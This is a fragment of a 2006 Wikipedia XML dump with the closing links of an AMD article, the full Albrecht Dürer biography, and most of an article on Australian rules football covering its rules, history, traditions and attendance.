*[http://www.intelvsamd.com/download/AMD-Intel_Full_Complaint.htm Full text of US antitrust complaint against Intel in HTML]
* Pacifica and [[virtualization]]:
** [http://enterprise.amd.com/Enterprise/serverVirtualization.aspx AMD Powerpoint documents on the specification]
** [http://www.eweek.com/article2/0,1759,1780606,00.asp AMD Previews 'Pacifica' Virtualization Technology]
** [http://www.eweek.com/article2/0,1895,1644414,00.asp AMD Preps 'Pacifica' Virtualization Technology]
* [http://www.amdcompare.com/prodoutlook/ Near term AMD interactive product outlook]

{{AMD_processors}}

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  </page>
  <page>
    <title>Albrecht Dürer</title>
    <id>2402</id>
    <revision>
      <id>41851843</id>
      <timestamp>2006-03-02T03:45:36Z</timestamp>
      <contributor>
        <username>Melancholia i</username>
        <id>1014314</id>
      </contributor>
      <text xml:space="preserve">[[image:Albrecht-self.jpg|thumb|right|250px|''Self-Portrait'', 1493, Oil on Canvas]]
'''Albrecht Dürer''' ([[May 21]], [[1471]] – [[April 6]], [[1528]]) was a [[Germany|German]] [[painter]], [[wood carver]], [[engraver]], and [[mathematician]]. Born in [[Nuremberg, Germany|Nuremberg]], [[Germany]], he is best known for his [[woodcuts]] in series, including the ''Apocalypse'' (1498), two series on the crucifixion of Christ, the ''Great Passion'' (1498-1510) and the ''Little Passion'' (1510-1511) as well as many of his individual prints, such as ''[[Knight, Death, and the Devil]]'' (1513), ''[[Saint Jerome in his Study]]'' (1514) and ''[[Melancholia I]]'' (1514). His ''[[Four Horsemen of the Apocalypse]]'' (1497-1498), part of the ''Apocalypse'' series, is also celebrated. He is also known for his numerous self-portraits.

==First visit to Italy==

On [[July 7]], [[1494]] Dürer was married, according to an arrangement made during his absence, to Agnes Frey, the daughter of a local merchant. His relationship with his wife is unclear and her reputation has suffered from a posthumous assault by Dürer's friends. He did not remain in Nuremberg long; in the autumn of 1494 he travelled to [[Italy]], leaving his wife at Nuremberg. He went to [[Venice]], evidence of his travels being derived from drawings and engravings that are closely linked to existing northern Italian works by [[Mantegna]], [[Antonio Pollaiuolo]], [[Lorenzo di Credi]] and others. Some time in 1495 Dürer must have returned to Nuremberg, where he seems to have lived and worked for possibly the next ten years, producing most of his notable prints.

[[image:Melancholia_I.png|thumb|right|250px|''Melancholia I'', 1514, Engraving]]

==Return to Nuremberg==

During the first few years from 1495 onwards he worked in the established Germanic and northern forms but was open to the influences of the [[Renaissance]]. His best works in this period were for wood-block printing, typical scenes of popular devotion developed into his famous series of sixteen great designs for the ''Apocalypse'', first carved in [[1498]]. Counterpointed with the first seven of scenes of the ''Great Passion'' in the same year, and a little later a series of eleven on the Holy Family and of saints. Around 1504-1505 he carved the first seventeen of a set illustrating the life of the Virgin. Neither these nor the ''Great Passion'' were published till several years later.

Dürer trained himself in the more finely detailed and expensive copper-engraving. He attempted no subjects of the scale of his woodcuts, but produced a number of [[Madonna (art)|Madonna]]s, single figures from scripture or of the saints, some nude mythologies, and groups, sometimes satirical, of ordinary people. The Venetian artist [[Jacopo de Barbari]], whom Dürer had met in Venice, came to Nuremberg for a while in 1500. He influenced Dürer with the new developments in [[perspective (graphical)|perspective]], [[anatomy]] and [[Body_proportions|proportion]], from which Dürer began his own studies. A series of extant drawings show Dürer's experiments in human proportion, up to the famous engraving of ''[[Adam and Eve]]'' (1504) which showed his firm and detailed grasp of landscape had extended into the quality of flesh surfaces by the subtlest use of the graving-tool known to him. Two or three other technical masterpieces were produced up to 1505, when he made a second visit to Italy.

==Second visit to Italy==

In Italy he turned his hand to painting, at first producing a series of works by [[tempera-painting]] on [[linen]], including portraits and altarpieces, notably the [[Paumgartner]] [[altarpiece]] and the ''[[Adoration of the Magi]]''. In early 1506, he returned to Venice, and stayed there until the spring of 1507. The occasion of this journey has been erroneously stated by [[Vasari]]. Dürer's engravings had by this time attained great popularity and had begun to be copied. In Venice he was given a valuable commission from the emigrant German community for the church of [[St. Bartholomew]]. The picture painted by Dürer was closer to the Italian style - the ''Adoration of the Virgin'', also known as the ''Feast of Rose Garlands''; it was subsequently acquired by the Emperor [[Rudolf II, Holy Roman Emperor|Rudolf II]] and taken to [[Prague]]. Other paintings Dürer produced in Venice include ''The Virgin and Child with the Goldfinch'', a ''Christ disputing with the Doctors'' (apparently produced in a mere five days) and a number of smaller works.

[[Image:Hase.jpg|thumb|250px|left|''A Young Hare'', 1502, Watercolor]]

==Nuremberg and the masterworks==
[[Image:Durer Adam and Eve.jpg|thumb|250px|''Adam and Eve'', 1507, Oil on Panel]]

Despite the regard in which he was held by the Venetians, Dürer was back in Nuremberg by mid-1507. He remained in Germany until 1520. His reputation spread all over [[Europe]]. He was on terms of friendship or friendly communication with all the masters of the age, and [[Raphael]] held himself honored in exchanging drawings with Dürer.

The years between his return from Venice and his journey to the [[Netherlands]] are commonly divided according to the type of work with which he was principally occupied. The first five years, 1507-1511, are pre-eminently the painting years of his life. In them, working with a vast number of preliminary drawings and studies, he produced what have been accounted his four best works in painting - ''Adam and Eve'' (1507), ''Virgin with the Iris'' (1508), the altarpiece the ''Assumption of the Virgin'' (1509), and the ''Adoration of the Trinity by all the Saints'' ([[1511]]). During this period he also completed the two woodcut series of the ''Great Passion'' and the ''Life of the Virgin'', both published in 1511 together with a second edition of the ''Apocalypse'' series.

From 1511 to 1514, Dürer concentrated on engraving, both on [[wood]] and [[copper]], but especially the latter. The major work he produced in this period was the thirty-seven subjects of the ''Little Passion'' on wood, published first in 1511, and a set of fifteen small copper-engravings on the same theme in 1512. In 1513 and 1514 appeared the three most famous of Dürer's works in copper-engraving, ''The Knight, Death, and the Devil'' (or simply ''The Knight'', as he called it, 1513), ''Melancholia I'' and ''St. Jerome in his Study'' (both 1514).

In the years leading to 1520 he produced a wide range of works. Tempera on linen portraits in 1516. Engravings on many subjects, experiments in etching on plates of [[iron]] and [[zinc]]. A part of the Triumphal Gate and the Triumphal March for the Emperor [[Maximilian I, Holy Roman Emperor|Maximilian]]. He also did the marginal decorations for the Emperor's [[prayer-book]] and a portrait-drawing of the Emperor shortly before his death in 1519.

==Journey to the Netherlands and beyond==
[[Image:chris.png|right|250px|thumb|St. Christopher, by [[Albrecht Dürer]]]]
In the summer of 1520 the desire of Dürer to secure new [[patronage]] following the death of Maximilian and an outbreak of sickness in Nuremberg, gave occasion to his fourth and last journey. Together with his wife and her maid he set out in July for the Netherlands in order to be present at the coronation of the new Emperor [[Charles V, Holy Roman Emperor|Charles V]]. He journeyed by the [[Rhine]] to [[Cologne]], and then to [[Antwerp]], where he was well received and produced numerous drawings in [[silverpoint]], [[chalk]] or [[charcoal]]. Besides going to [[Aachen]] for the [[coronation]], he made excursions to Cologne, [[Nijmwegen]], [['s-Hertogenbosch]], [[Brussels]], [[Bruges]], [[Ghent]] and [[Zeeland]]. He finally returned home in July 1521, having caught an undetermined illness which afflicted him for the rest of his life.

==Final years in Nuremberg==
[[Image:AlbrechtDürer01.jpg|thumb|right|250px|The title page of ''Vier Bücher von menschlicher Proportion'' (''Four Books of Human Proportion'', 1528), which features his famous signature.]]

Back in Nuremberg, Dürer began work on a series of religious pictures. Many preliminary sketches and studies survive, but no paintings on the grand scale were ever carried out. This was due in part to his declining health, but more because of the time he gave to the preparation of his theoretical works on [[geometry]] and perspective, proportion and [[fortification]]. Though having little natural gift for writing, he worked hard to produce his works. 

The consequence of this shift in emphasis was that in the last years of his life Dürer produced, as an artist, comparatively little. In painting there was a portrait of [[commons:Image:Albrecht Dürer 035.jpg|Hieronymus Holtzschuher]], a [[commons:Image:Albrecht Dürer 061.jpg|''Madonna and Child'' (1526)]] and two panels showing [[John the Apostle|St. John]] with [[St. Peter]] in [[commons:Image:Albrecht Dürer 026.jpg|front]] and [[Paul of Tarsus|St. Paul]] with [[St. Mark]] in the [[commons:Image:Albrecht Dürer 027.jpg|background]]. In copper-engraving Dürer produced only a number of portraits, those of the cardinal-elector of Mainz (''The Great Cardinal''), [[Frederick the Wise]], elector of Saxony, and his friends the [[humanist]] scholar [[Willibald Pirckheimer]], [[Philipp Melanchthon]] and [[Erasmus of Rotterdam]].

Of his books, Dürer succeeded in getting two finished and produced during his lifetime. One on geometry and perspective (''[[The Painter's Manual]]''), which was published at Nuremberg in 1525, and one on fortification, published in 1527. His work on human proportion was brought out shortly after his death in 1528 at the age of 56.

==See also==
{{commons|Albrecht Dürer}}
* [[Early Renaissance painting]]
*[[commons:Albrecht Dürer]]

==External links==
* http://www.ibiblio.org/wm/paint/auth/durer/
* {{MacTutor Biography|id=Durer}}
* http://www.artchive.com/artchive/D/durer.html
* [http://www.aiwaz.net/durer/ Alternative Albrecht Durer]
* {{gutenberg author| id=Albrecht+Dürer | name=Albrecht Dürer}}
* [http://www.museen-sh.de/ml/digicult.php?digiID=200.6885331&amp;s=2 Works by Albrecht Dürer] at Museumsportal Schleswig-Holstein


[[Category:1471 births|Dürer, Albrecht]]
[[Category:1528 deaths|Dürer, Albrecht]]
[[Category:German artists|Dürer, Albrecht]]
[[Category:German engravers|Dürer, Albrecht]]
[[Category:German painters|Dürer, Albrecht]]
[[Category:German woodcarvers|Dürer, Albrecht]]
[[Category:Renaissance painters|Dürer, Albrecht]]
[[Category:Polymaths|Dürer, Albrecht]]
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  </page>
  <page>
    <title>Australian rules football</title>
    <id>2403</id>
    <revision>
      <id>41979664</id>
      <timestamp>2006-03-03T00:40:27Z</timestamp>
      <contributor>
        <ip>202.147.143.166</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">:''Australian Rules and Aussie Rules redirect here. For the movie, see [[Australian Rules (film)|Australian Rules (film)]].'' &lt;!--[[Image:AFL,_MCG.jpg|Aussie Rules at the MCG|260px|thumb|right|''Australian football'' at the [[Melbourne Cricket Ground]].]]--&gt;

[[Image:aussie_rules_wikipedia.jpg|thumb|right|230px|Australian football at the [[Melbourne Cricket Ground]]. [[Alastair Lynch]], ([[Brisbane Lions]], seen here in maroon and blue jumpers), is attempting to take a [[mark (Australian football)|mark]]. A [[Collingwood Football Club|Collingwood]] (black and white jumpers) opponent trying to stop him.]]

'''Australian football''', which is also known as '''Australian rules football''', or less formally as &quot;'''Aussie rules'''&quot; or simply as &quot;'''footy'''&quot; is a code of [[football]] which originated in [[Melbourne]], [[Australia]].

The game is played between two teams of 18 players (plus ''[[interchange (Australian rules football)|interchange]]'' players), on [[cricket]] ''[[oval]]s'' or similar-sized grassed arenas which vary in size and may be up to 185 [[metre]]s (200 [[yard]]s) long; these are much larger than those used by other codes of football. The game is also distinguished from other games by the fast, relatively free movement of the ball (partly due to the absence of an [[Offside law (football)|offside rule]]) and the awarding of a ''free kick'' for any clean catch – known as a ''[[Mark (Australian football) | mark]]'' – of a ball which has been kicked more than 15 metres. Spectacular high ''marks'', or &quot;[[specky|speccies]]&quot;, tackles and fast, fluid play are the game's main attributes as a spectator sport. Despite the game's sometimes rough physical nature players do not usually wear protective clothing. Although it is a [[winter]] sport, pre-season competitions usually begin in late February (that is, in the Australian summer); the ''football season'' proper is from March to August, with finals being held in September.

==Structure and competitions ==
The most powerful organisation and competition within the game is the elite, [[professional sport|professional]], [[Australian Football League]] (AFL). There are also seven state (and/or territory)-based organisations: [[AFL NSW/ACT]], [[Football Tasmania]], the [[Northern Territory Football League]], the [[South Australian National Football League]] (SANFL), the [[Queensland Australian Football League]], the [[Victorian Football League]] (VFL), and the [[West Australian Football League]] (WAFL). Most of these hold annual semi-professional club competitions, while the others oversee more than one league. Local semi-professional or amateur organisations and competitions are also affiliated to these state leagues.

Unlike most [[Football (soccer)|soccer]] competitions, there are usually no separate &quot;league&quot; and &quot;cup&quot; trophies. In the [[Australian Football League|AFL]], The McClelland Trophy is awarded to the team that finishes the league in first position (sometimes called the minor premiership), but this is not afforded a high level of prestige as the major objective is the Premiership. The teams that occupy the highest positions (usually four in most amateur leagues, but eight in the AFL) play off in a &quot;semi-knockout&quot; finals series (in the AFL, the top four sides get a second chance if they lose their first final), with the two successful teams meeting in the [[Grand Final]] to contest the ''premiership''. The winner is awarded the ''premiership cup''.

==Rules of the game==
{{main|Laws of Australian Football}}
[[Image:Sherrin.png|thumb|right|150px|An Australian [[football (ball)|football]]. The [[Sherrin]] brand is used for all official AFL matches, whilst the [[Burley football|Burley]] brand is endorsed by many state leagues and other countries.]]

Both the ball and the field of play are [[ellipsoid|oval]] in shape.  No more than 18 players of each team are permitted to be on the field at any time. Up to four ''interchange'' (reserve) players may be swapped for those on the field at any time during the game. There is no offside rule nor are there set positions in the rules - unlike many other forms of football, players from both teams disperse across the whole field before the start of play. The ball can be propelled in any direction by way of a foot, clenched fist (called a [[handball (Australian Rules Football) | handball]] or ''handpass'') or open hand tap, but it cannot be thrown under any circumstances. (Throwing is defined in the rules quite broadly.)

A player may run with the ball but it must be bounced or touched on the ground at least every 15 metres. Opposition players may [[bump (football)|bump]] or [[tackle (football)|tackle]] the player to obtain the ball, and when tackled, the player must dispose of the ball cleanly or risk being penalised for ''holding the ball''.

If a player takes possession of the ball that has travelled more than 15 metres from another player's kick (there are different styles of kicking, mainly revolving around how the ball is held in the hand, of which [[punt (football)|punt]] or [[drop punt]] are two) by way of a catch, it is claimed as a ''[[mark (Australian football)|mark]]'' and that player may then have a ''free kick'' (meaning that that the game stops while he prepares to kick from the point at which he marked).  Apart from free kicks, or when the ball is in the possession of umpires for a ball up or throw in, the ball is always in dispute and any player from either side can take possession of the ball.

===Scoring===
At each end of the field are four vertical posts. The middle two are the ''goal posts'', and the two on either side, which are shorter, are the ''behind posts''. A goal is scored when the football is propelled through the goal posts at any height (including above the height of the posts) by way of a kick from the attacking team. It may fly through on the full or bounce through, as long as it is not touched by any player from either team.  A goal cannot be scored from the foot of an opposition (defending) player. A behind is scored when the ball goes across the line between a goal post and a behind post, or if the ball hits a goal post or is touched (a ''rushed behind'') before passing between the goalposts. A goal is worth 6 points, whereas a behind is worth one.

The team that scores the most points at the end of play wins the game.  Thus a score of 10 goals and 10 behinds equals 70 points.  A score of 9 goals and 18 behinds equals 72 points.  The latter score would win the game despite the fact that that team scored one goal less. The result would usually be written as

'''Team A 9.18 (72)''' def Team B 10.10 (70).

==History==
===Origins of the game===
[[Tom Wills]] began to devise Australian rules in [[Melbourne]], in 1858. (Although [[H.C.A. Harrison]], Wills' cousin, was also named much later as an official &quot;father of the game&quot;, his role does not now seem to have been significant at this very early stage.) A letter by Wills was published in ''Bell's Life in Victoria &amp; Sporting Chronicle'' on [[July 10]], [[1858]],[http://www.mcg.org.au/default.asp?pg=footballdisplay&amp;articleid=37] calling for a &quot;foot-ball club&quot; with a &quot;code of laws&quot; to keep cricketers fit during winter. An experimental match, played by Wills and others at the Richmond Paddock (later known as [[Yarra Park]], next to the [[Melbourne Cricket Ground|MCG]]) on [[July 31]], [[1858]], was probably the first game of Australian football. However, few details of the match have survived.

On [[August 7]], [[1858]], two significant events in the development of the game occurred: the [[Melbourne Football Club]] was founded, one of the world's [[first football club]]s in any code, and a famous match between [[Melbourne Grammar School]] and [[Scotch College, Melbourne|Scotch College]] began, umpired by Wills. A second day of play took place on August 21, and a third and final day on September 4. The two schools have competed annually ever since. However, the rules used by the two teams in 1858 could not have had much in common with the eventual form of Australian football, since Wills had not yet begun to write them..

[[Image:Australianfootball1866.jpg|thumb|290px|A game at the [[Yarra Park|Richmond Paddock]] in the [[1860s]]. A pavilion at the [[Melbourne Cricket Ground|MCG]] is on the left in the background. (A [[wood engraving]] made by Robert Bruce on July 27, 1866.)]]
The Melbourne Football Club rules of 1859 are the oldest surviving set of laws for Australian football. They were drawn up at the Parade Hotel, [[East Melbourne]] on [[May 17]], by Wills, W. J. Hammersley, J. B. Thompson and Thomas Smith (some sources include H. C. A. Harrison). The 1859 rules did not include some elements which soon became important to the game, such as the requirement to bounce the ball while running, and Melbourne's game was not immediately adopted by neighbouring clubs. Before each match, the rules had to be agreed by the two teams involved. By 1866, however, several other clubs had agreed to play by an updated version of Melbourne's rules.

It is often said that the founders were partly inspired by the ball games of the local [[Australian Aborigine|Aboriginal]] people in western Victoria. Aborigines did play a sport called ''[[Marn Grook]]'', which used a ball made out of [[possum]] hide, and included play resembling the ''high marking'' (&quot;speccie&quot;) in Australian football. There is considerable debate over the connection between the two. Wills did have a deep knowledge of Aboriginal culture, and Harrison had grown up in an area near present day [[Moyston, Victoria]] where he may have seen Marn Grook.

The influence of [[United Kingdom|British]] [[public school]] and [[university]] football codes, while also undetermined, was clearly substantial. Wills had been educated at [[Rugby School]] in England (where [[Rugby football]] had been codified since 1845). Wills had also, like W. J. Hammersley and J. B. Thompson, been to the [[University of Cambridge]]. The [[Cambridge Rules]], drawn up in 1848, included some elements which are important in Australian football, such as the mark. Thomas Smith was [[Ireland|Irish]] and had attended [[Trinity College, Dublin]], where the Rugby School rules were popular at a very early stage. These men would have been familiar with other public school and university games. They may also have been inspired by surviving forms of [[Medieval football]] and other traditional sports, played among the thousands of immigrants who poured into Victoria from the UK, Ireland and many other countries during the gold rushes of the [[1850s]].

===Similarities to Gaelic football===
While it is clear even to casual observers that Australian rules football is similar to [[Gaelic football]], the exact relationship is unclear, as the Irish game was not codified by the [[Gaelic Athletic Association]] (GAA) until 1887. The historian B. W. O'Dwyer points out that Australian football has always been differentiated from [[rugby football]] by having no limitation on ball or player movement (in the absence of an offside rule), the need to bounce the ball (or toe-kick it, known as a ''solo'' in Gaelic football) while running, punching the ball (hand-passing) rather than throwing it, and other traditions. As O'Dwyer says:
:''These are all elements of Irish football. There were several variations of Irish football in existence, normally without the benefit of rulebooks, but the central tradition in [[Ireland]] was in the direction of the relatively new game [i.e. rugby]...adapted and shaped within the perimeters of the ancient Irish game of [[hurling]]... [These rules] later became embedded in Gaelic football. Their presence in Victorian football may be accounted for in terms of a formative influence being exerted by men familiar with and no doubt playing the Irish game. It is not that they were introduced into the game from that motive [i.e. emulating Irish games]; it was rather a case of particular needs being met...'' [B. W. O'Dwyer, March 1989, &quot;The Shaping of Victorian Rules Football&quot;, ''Victorian Historical Journal'', v.60, no.1.]
After 1887, the two games developed in isolation from each other. A number of players, most notably [[Jim Stynes]] have successfully made the transition from Gaelic football to Australian rules.

:''See also:'' [[Australian_football_around_the_world#Gaelic_converts_to_Australian_football|Gaelic Football converts]]

====International rules football====
{{main|International rules football}}

Since 1967, there have been many matches between Australian and Irish teams, under various sets of hybrid, compromise rules. In 1984, the first official representative matches of [[International Rules football]] were played, and these are now played annually each October.

In 1999, a record Australian International Rules crowd of 65,000 at the [[MCG]] attended a game that saw Ireland defeat Australia but Australia win the series. In 2002, a record Irish International Rules crowd of 71,532 at [[Croke Park]], [[Dublin]] witnessed a draw which also saw Australia win the series.

The rules are a compromise between the two codes, using the round ball and the rectangular field of Gaelic football. The fierce tackling of the Australian code is allowed, although this has often caused controversy with the Irish players, who play a mostly non-contact game.

===History of clubs and competitions===
The modern day [[Australian Football League]] (AFL) has many teams dating back to the beginnings of the game: apart from the Melbourne Football Club, other early clubs still in existence include: [[Geelong Football Club|Geelong]] ([[1860]]), [[Carlton Football Club|Carlton]] ([[1864]]), North Melbourne (aka Hotham, now [[Kangaroos Football Club|Kangaroos]]) ([[1869]]), [[Port Adelaide Football Club|Port Adelaide]] ([[1870]]), [[Essendon Football Club|Essendon]] and [[St Kilda Football Club|St Kilda]] ([[1873]]), South Melbourne (now [[Sydney Swans]]) ([[1874]]) and Footscray (now the [[Western Bulldogs]]) ([[1877]]).

===The first league===
In 1877, the [[Victorian Football Association]] (VFA), the game's first league, was formed by 14 clubs: Albert Park, Ballarat, Barwon, Beechworth, Carlton, Castlemaine, East Melbourne, Essendon, Geelong, Hotham (later North Melbourne), Inglewood, Melbourne, Rochester and St Kilda. Six of these clubs were from the Victorian country. At the time, Essendon was regarded as a semi-junior club rather than a full member, and was allowed concessions such as fielding teams of 25 players, instead of the standard 20.

===Leagues outside Victoria===
Gradually the game – known at first  as &quot;Melbourne Rules&quot;,  &quot;Victorian Rules or sometimes as &quot;Australasian Rules&quot; – spread from Victoria into other Australian colonies, especially [[South Australia]] (SA), [[Tasmania]] and [[Western Australia]] (WA). The first [[interstate matches in Australian rules football|intercolonial match]], between Victoria and SA, was held in 1879.

Competitions also began in [[Queensland]] and [[New South Wales]] in the 1880s. In [[Newcastle, New South Wales]] the Black Diamond league was founded by Victorian goldminers and the [[Black Diamond Challenge Cup]] remains Australia's oldest sporting trophy.

The precursors of the [[South Australian National Football League]] (SANFL) and the [[West Australian Football League]] (WAFL) were strong, separate competitions by the 1890s.

The game also spread to New Zealand in 1876, and grew to a formidable league of 115 clubs.  In 1908, New Zealand defeated both New South Wales and Queensland at the [[Jubilee Australasian Football Carnival]], an event held to celebrate 50 years of Australian Football.  The game was also introduced to England, Scotland and Japan. 

The outbreak of [[World War I]] signalled a hiatus in the game overseas in all countries but Australia (which lasted until the late 1980s), whilst factors such as interstate rivalry and the denial of access to grounds in Sydney caused the code to struggle in New South Wales and Queensland.[http://www.convictcreations.com/football/evolution.htm]

===Formation of the VFL===
A rift in the VFA led to the formation of the [[Victorian Football League]] (VFL), which commenced play in 1897 as an eight-team breakaway of the stronger clubs in the VFA competition: Carlton, [[Collingwood Football Club|Collingwood]], Essendon, [[Fitzroy Football Club|Fitzroy]], Geelong, Melbourne, St Kilda and South Melbourne.

Another five VFA clubs joined the VFL later: [[Richmond Football Club|Richmond]] and [[University Football Club|University]] joined the VFL in 1908, although University withdrew in 1915. Footscray, [[Hawthorn Football Club|Hawthorn]] and North Melbourne joined in 1925, by which time VFL had become the most prominent league in the game.

===Interstate competition===
{{main|Interstate matches in Australian rules football}}
For most of the 20th century, the absence of a national club competition – and the inability of players to compete internationally – meant that matches between state representative teams were regarded with great importance. Because VFL clubs increasingly recruited the best players in other states, Victoria dominated these games. However, [[State of Origin]] rules were introduced in 1977, and in the first such game, at [[Subiaco Oval]] in [[Perth, Western Australia|Perth]], Western Australia defeated Victoria, 23.13 (151) to 8.9 (57), a huge reversal of the results in most previous games. Western Australia and South Australia began to win many of their games against Victoria. However, during the 1990s, following the emergence of the Australian Football League,  state of origin games declined in importance especially after an increasing number of withdrawals by AFL players, who were under increasing pressure from clubs concerned by the risk of injuries. Australian football State of Origin matches ceased in 1999. The second-tier state and territorial leagues still contest interstate matches.

===A national league===
In 1982, in a move which heralded big changes within the sport, one of the original VFL clubs, [[South Melbourne Football Club]], relocated to the [[Rugby League]] stronghold of [[Sydney]] and became known as the [[Sydney Swans]]. In the late 1980s, strong interstate interest in the VFL led to a more national competition; two more non-Victorian clubs, the [[West Coast Eagles]] and the [[Brisbane Bears Football Club|Brisbane Bears]] began playing in 1987.

The league changed its name to the [[Australian Football League]] (AFL) following the 1989 season. In 1991, it gained its first South Australian team, [[Adelaide Crows|Adelaide]]. West Coast's [[local derby]] rival [[Fremantle Football Club|Fremantle]] was admitted in 1995. Fitzroy merged with Brisbane after 1996 due to financial difficulties to form the [[Brisbane Lions]] and the proud old SANFL club, [[Port Adelaide Football Club|Port Adelaide]] joined in 1997, immediately becoming fierce local rivals to Adelaide. The AFL, currently with 16 member clubs, is the sport's elite competition.

===Today's state leagues===
For much of the [[20th century]] the SANFL and the WAFL were considered peers of the VFL. Although the VFL was generally accepted as the strongest league, clubs from all three leagues frequently played each other on an even footing in challenge matches and occasional nationwide club competitions.

With the introduction of the AFL, the SANFL, WAFL and other state leagues rapidly declined to a secondary status. Apart from these there are many semi-professional and amateur leagues around Australia, where they play a very important role in the community, and particularly so in rural areas.

The VFA, still in existence a century after the original schism, merged with the former VFL reserves competition in 1998. The new entity adopted the VFL name.
:''See also:'' [http://www.sanfl.com.au/ Official SANFL site], [http://www.wafl.com.au/ Official WAFL site], [http://www.vafa.asn.au/ Official Victorian Amateur Football Association (VAFA) site]

===Traditions of the game===
====Gameday Traditions====
[[Image:Footybanner.jpg|thumb|250px|A banner for [[Essendon Football Club]]]]
At the elite level, the game still retains some links to its suburban roots. At the start of each game, AFL players run on to the field through a [[paper | crêpe paper]] banner depicting some message (for instance, congratulating players on a milestone number of games) constructed by volunteer supporter groups.

Games begin by [[tossing a coin]], for the winning captain to select the end of the field of their goal for the first quarter.  Unlike other forms of football, Australian football begins similarly to [[basketball]]. After the first [[siren]], the [[umpire]] bounces the ball on the ground, and the two [[ruckman|ruckmen]] (typically the tallest man from the each team), battle for the ball in the air on its way back down.

All AFL clubs also have a [[fight song|club song]], most of which were composed during the early [[20th century]], or mimic the musical styles of that era (exceptions being the newer teams of West Coast, Fremantle, Port Adelaide and the former [[Brisbane Bears]] each with non-traditional songs). Some teams use club songs set to the tunes of well-known [[United States|American]] marches.  Both teams songs are played as they enter the ground, and the winners song is sung at the end of the game.

The goal umpire signals a goal with 2 hands raised at elbow height, or one for a behind, and then confirms the signal with the other goal umpire by waving flags above his head.
Some traditions change, however, and the goal umpire no longer wears a white coat and broad brimmed hat.

====Supporter Traditions====
''See also [[List of nicknames used in Australian rules]].''

Australian rules is often referred to as the ''people's game'' [http://www.theage.com.au/articles/2003/09/26/1064083189800.html?from=storyrhs] due to its ability to transcend class and racial boundaries, unify supporters and attract crowds.

Aussie rules fans ''barrack'' for their team rather than support or ''root for'' (in Australia, 'root' is slang for [[sexual intercourse]]).  The term ''barrack'' is believed to have from early matches between soldiers stationed in army barracks near the MCG.  One of the first things many Melburnians will ask when meeting someone new is which team they barrack for.

Typical supporter wear includes the team [[scarf]] and sometimes [[beanie]] (mostly in the cooler states) in the colours of the team.  These traditions originated from Melbourne where winters are colder than in most other parts of Australia. Team flags are sometimes flown by supporters, and official club cheersquads behind the goals will sometimes wave enormous coloured [[pompon]]s konwn as ''floggers'' after the umpire has signalled a goal.

[[Meat pie]]s and [[beer]] are the popular consumables for supporters at Australian rules matches. Mobile vendors walk around the ground selling such items (except for beer, as liquor licensing laws would not allow this), yelling out the well known call of &quot;hot pies, cold drinks!&quot;

At the end of the match, it is traditional for a ''[[pitch invasion]]'' where supporters run onto the field to celebrate the game and play games of kick-to-kick with their families.  In recent years, this has been more strictly controlled with [[security guards]] to ensure that players and officials can safely leave the ground.  Sometimes a mid-game ''pitch invasion'' is expected for various landmark achievements, such as a player kicking a record number of goals and players are protected by bodyguards.

==Popularity==
Australian rules football has attracted more overall interest among Australians than any other winter sport for at least several years.[http://www.sweeneyresearch.com.au/PDF/Interest.pdf][http://www.smh.com.au/articles/2003/05/22/1053196670542.html] 
A recent survey has suggested that the sport recently took over from [[swimming]] as the most popular sport in Australia [http://www.thesundaymail.news.com.au/common/story_page/0,5936,17792967%255E23211,00.html].  

It is popular in two countries which are former Australian territories: [[Papua New Guinea]] and [[Nauru]].

[[Cricket]] is the most common summer spectator sport in Australia, and is usually played on the same grounds as Australian football. In the past, many elite-level footballers also played representative cricket, but the increasingly professional nature of the game made this impossible by the [[1980s]].

Australian rules is the most popular form of football in the [[Northern Territory]] (NT), [[South Australia]] (SA), [[Tasmania]], [[Victoria (Australia)|Victoria]] and [[Western Australia]] (WA). In [[New South Wales]] (NSW) and [[Queensland]] overall, [[rugby league]] is the predominant winter sport. In the [[Australian Capital Territory]] (ACT) [[rugby union]] is arguably more popular. However, in both the ACT and south-western NSW, Australian football has rivalled the two varieties of rugby in popularity over many decades. In addition, ongoing net migration from Victoria, SA and Tasmania to Queensland and NSW, the winning of AFL premierships by teams in those states and the consequent growth of amateur football, means that the [[demography|demographics]] of Australian football are changing.

In recent years, Australian rules has become increasingly popular in Brisbane, undoubtedly due to the recent success of the [[Brisbane Lions]], who won three premierships in a row (2001-2003) and finished runner-up in 2004. Popularity in Sydney has increased since the [[Sydney Swans]] made their first Grand Final appearance in 1996.  In 2005, the team won their first premiership since relocating to Sydney in 1982, and the club's first since 1933 (as the [[South Melbourne Swans]]).  The increasing marketshare in these states has boosted the national popularity of the code.

===Audience===

====Attendance====
Australian football is the most highly attended spectator sport in Australia: government figures show that more than 2.5 million people (16.8% of the population) attended games in 1999 [http://www.abs.gov.au/Ausstats/abs@.nsf/0/e298cee24565c911ca256def007248ff?OpenDocument]. In 2005, 6,283,788 people attended [[Australian Football League]] (AFL) premiership matches [http://www.smh.com.au/news/Sport/Aussie-Rules-sets-attendance-record/2005/08/28/1125167544791.html], a record for the competition. A further 307,181 attended [[NAB Cup]] pre-season matches and 117,552 attended Regional Challenge pre-season practice matches around the country [http://72.14.203.104/search?q=cache:QSxF-7E66dcJ:afl.com.au/default.asp%3Fpg%3Dwizardcup%26spg%3Ddisplay%26articleid%3D190187].  

As well as the AFL attendances, strong state competitions also drew crowds.  Although crowds for local leagues have suffered since the national competition, they continue to draw support, particularly for finals matches.  The South Australian [[South Australian National Football League|SANFL]] drew an attendance of 303,354 in 2005, the Western Australian [[West Australian Football League|WAFL]] drew an official attendance of 202,797 in 2004 and the Victorian [[Victorian Football League|VFL]] (including a Tasmanian side, the [[Tasmanian Devils|Devils]]) also drew strong crowds (but with no available attendance figures).

As of 2005 the AFL is one of only five professional sports leagues in the world with an average [[Sports attendance|attendance]] above thirty thousand (the others are [[NFL]] and [[Major League Baseball]] in the United States, and the top division soccer leagues in [[Bundesliga (football)|Germany]], and [[FA Premier League|England]]).
:''See also: [[Sports attendances]]''

====Attendance records====
{{main|Australian rules football attendance records}}
